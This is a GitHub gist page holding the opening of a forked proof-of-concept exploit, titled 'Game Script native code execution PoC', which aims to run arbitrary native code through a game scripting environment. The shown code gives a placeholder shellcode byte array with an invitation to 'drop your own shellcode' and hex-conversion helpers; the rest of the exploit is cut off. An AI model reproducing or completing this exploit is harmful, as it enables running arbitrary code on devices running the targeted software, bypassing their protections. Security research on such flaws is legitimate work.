Skip to content

Instantly share code, notes, and snippets.

View Murderhead's full-sized avatar
:octocat:
I may be slow to respond.

Murderhead

:octocat:
I may be slow to respond.
  • Germany, Dortmund
  • 06:24 (UTC +01:00)
View GitHub Profile
@Murderhead
Murderhead / gspoc.txt
Created June 12, 2024 09:23 — forked from carrot-c4k3/gspoc.txt
Game Script native code execution PoC
// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]
// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}